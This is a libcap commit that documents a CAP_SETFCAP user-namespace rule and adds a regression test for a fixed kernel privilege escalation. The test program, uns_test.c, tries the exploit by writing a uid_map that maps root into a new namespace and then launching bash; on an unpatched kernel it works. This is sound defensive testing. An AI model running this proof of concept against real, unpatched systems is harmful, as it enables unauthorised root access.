Validate that user namespaces require CAP_SETFCAP to map UID=0.

I found this corner case privilege escalation in December 2020.
Now that it is fixed upstream and widely deployed, add a test
so we don't regress.

[If you find 'make sutotest' fails for you, you should upgrade
your kernel.]

Signed-off-by: Andrew G. Morgan <morgan@kernel.org>

6 files changed, 188 insertions, 11 deletions

diff --git a/cap/names.go b/cap/names.go
index fefb4a4..c082d28 100644
--- a/cap/names.go
+++ b/cap/names.go
@@ -259,6 +259,11 @@ const (
 	AUDIT_CONTROL
 
 	// SETFCAP allows a process to set capabilities on files.
+	// Permits a process to uid_map the uid=0 of the
+	// parent user namespace into that of the child
+	// namespace. Also, permits a process to override
+	// securebits locks through user namespace
+	// creation.
 	SETFCAP
 
 	// MAC_OVERRIDE allows a process to override Manditory Access Control
diff --git a/doc/values/31.txt b/doc/values/31.txt
index 163b048..ae97df2 100644
--- a/doc/values/31.txt
+++ b/doc/values/31.txt
@@ -1 +1,6 @@
 Allows a process to set capabilities on files.
+Permits a process to uid_map the uid=0 of the
+parent user namespace into that of the child
+namespace. Also, permits a process to override
+securebits locks through user namespace
+creation.
diff --git a/progs/capshdoc.h b/progs/capshdoc.h
index efe4797..79953b3 100644
--- a/progs/capshdoc.h
+++ b/progs/capshdoc.h
@@ -276,6 +276,11 @@ static const char *explanation30[] = {  /* cap_audit_control = 30 */
 };
 static const char *explanation31[] = {  /* cap_setfcap = 31 */
     "Allows a process to set capabilities on files.",
+    "Permits a process to uid_map the uid=0 of the",
+    "parent user namespace into that of the child",
+    "namespace. Also, permits a process to override",
+    "securebits locks through user namespace",
+    "creation.",
     NULL
 };
 static const char *explanation32[] = {  /* cap_mac_override = 32 */
diff --git a/tests/.gitignore b/tests/.gitignore
index ac7ffb0..d0b3f15 100644
--- a/tests/.gitignore
+++ b/tests/.gitignore
@@ -5,3 +5,4 @@ libcap_launch_test
 libcap_psx_launch_test
 exploit
 noexploit
+uns_test
diff --git a/tests/Makefile b/tests/Makefile
index 1e7039d..3a917c4 100644
--- a/tests/Makefile
+++ b/tests/Makefile
@@ -8,9 +8,9 @@ include ../Make.Rules
 #
 
 all:
-	make libcap_launch_test
+	$(MAKE) libcap_launch_test uns_test
 ifeq ($(PTHREADS),yes)
-	make psx_test libcap_psx_test libcap_psx_launch_test
+	$(MAKE) psx_test libcap_psx_test libcap_psx_launch_test
 endif
 
 install: all
@@ -30,31 +30,32 @@ endif
 endif
 
 ../libcap/libcap.so:
-	make -C ../libcap libcap.so
+	$(MAKE) -C ../libcap libcap.so
 
 ../libcap/libcap.a:
-	make -C ../libcap libcap.a
+	$(MAKE) -C ../libcap libcap.a
 
 ifeq ($(PTHREADS),yes)
 ../libcap/libpsx.so:
-	make -C ../libcap libpsx.so
+	$(MAKE) -C ../libcap libpsx.so
 
 ../libcap/libpsx.a:
-	make -C ../libcap libpsx.a
+	$(MAKE) -C ../libcap libpsx.a
 endif
 
 ../progs/tcapsh-static:
-	make -C ../progs tcapsh-static
+	$(MAKE) -C ../progs tcapsh-static
 
 test:
 ifeq ($(PTHREADS),yes)
-	make run_psx_test run_libcap_psx_test
+	$(MAKE) run_psx_test run_libcap_psx_test
 endif
 
 sudotest: test
-	make run_libcap_launch_test
+	$(MAKE) run_uns_test
+	$(MAKE) run_libcap_launch_test
 ifeq ($(PTHREADS),yes)
-	make run_libcap_psx_launch_test run_exploit_test
+	$(MAKE) run_libcap_psx_launch_test run_exploit_test
 endif
 
 # unprivileged
@@ -71,6 +72,12 @@ libcap_psx_test: libcap_psx_test.c $(DEPS)
 	$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB) $(LDFLAGS)
 
 # privileged
+uns_test: uns_test.c $(DEPS)
+	$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LDFLAGS)
+
+run_uns_test: uns_test
+	echo exit | sudo ./uns_test
+
 run_libcap_launch_test: libcap_launch_test noop ../progs/tcapsh-static
 	sudo ./libcap_launch_test
 
@@ -111,6 +118,6 @@ noop: noop.c
 	$(CC) $(CFLAGS) $< -o $@ --static
 
 clean:
-	rm -f psx_test libcap_psx_test libcap_launch_test *~
+	rm -f psx_test libcap_psx_test libcap_launch_test uns_test *~
 	rm -f libcap_launch_test libcap_psx_launch_test core noop
 	rm -f exploit noexploit exploit.o
diff --git a/tests/uns_test.c b/tests/uns_test.c
new file mode 100644
index 0000000..43470cf
--- /dev/null
+++ b/tests/uns_test.c
@@ -0,0 +1,154 @@
+/*
+ * Try unsharing where we remap the root user by rotating uids (0,1,2)
+ * and the corresponding gids too.
+ */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/capability.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define STACK_RESERVED 10*1024
+
+struct my_pipe {
+    int to[2];
+    int from[2];
+};
+
+static int child(void *data) {
+    struct my_pipe *fdsp = data;
+    static const char * const args[] = {"bash", NULL};
+
+    close(fdsp->to[1]);
+    close(fdsp->from[0]);
+    if (write(fdsp->from[1], "1", 1) != 1) {
+	fprintf(stderr, "failed to confirm setuid(1)\n");
+	exit(1);
+    }
+    close(fdsp->from[1]);
+
+    char datum[1];
+    if (read(fdsp->to[0], datum, 1) != 1) {
+	fprintf(stderr, "failed to wait for parent\n");
+	exit(1);
+    }
+    close(fdsp->to[0]);
+    if (datum[0] == '!') {
+	/* parent failed */
+	exit(0);
+    }
+
+    setsid();
+
+    execv("/bin/bash", (const void *) args);
+    perror("execv failed");
+    exit(1);
+}
+
+int main(int argc, char **argv)
+{
+    static const char *file_formats[] = {
+	"/proc/%d/uid_map",
+	"/proc/%d/gid_map"
+    };
+    static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
+    cap_value_t fscap = CAP_SETFCAP;
+    cap_t orig = cap_get_proc();
+
+    /* Run with this one lowered */
+    cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
+
+    struct my_pipe fds;
+    if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
+	perror("no pipes");
+	exit(1);
+    }
+
+    char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
+		       MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
+    if (stack == MAP_FAILED) {
+	perror("no map for stack");
+	exit(1);
+    }
+
+    if (cap_setuid(1)) {
+	perror("failed to cap_setuid(1)");
+	exit(1);
+    }
+
+    if (cap_set_proc(orig)) {
+	perror("failed to raise caps again");
+	exit(1);
+    }
+
+    pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
+    if (pid == -1) {
+	perror("clone failed");
+	exit(1);
+    }
+
+    close(fds.from[1]);
+    close(fds.to[0]);
+
+    if (cap_setuid(0)) {
+	perror("failed to cap_setuid(0)");
+	exit(1);
+    }
+
+    if (cap_set_proc(orig)) {
+	perror("failed to raise caps again");
+	exit(1);
+    }
+
+    char datum[1];
+    if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
+	fprintf(stderr, "failed to read child status\n");
+	exit(1);
+    }
+    close(fds.from[0]);
+
+    for (int i=0; i<2; i++) {
+	char *map_file;
+	if (asprintf(&map_file, file_formats[i], pid) < 0) {
+	    perror("allocate string");
+	    exit(1);
+	}
+
+	FILE *f = fopen(map_file, "w");
+	free(map_file);
+	if (f == NULL) {
+	    perror("fopen failed");
+	    exit(1);
+	}
+	int len = fwrite(id_map, 1, strlen(id_map), f);
+	if (len != strlen(id_map)) {
+	    goto bailok;
+	}
+	if (fclose(f)) {
+	    goto bailok;
+	}
+    }
+
+    write(fds.to[1], ".", 1);
+    close(fds.to[1]);
+
+    fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
+    if (wait(NULL) == pid) {
+	exit(1);
+    }
+    perror("launch failed");
+    exit(1);
+
+bailok:
+    fprintf(stderr, "exploit attempt failed\n");
+    write(fds.to[1], "!", 1);
+    exit(0);
+}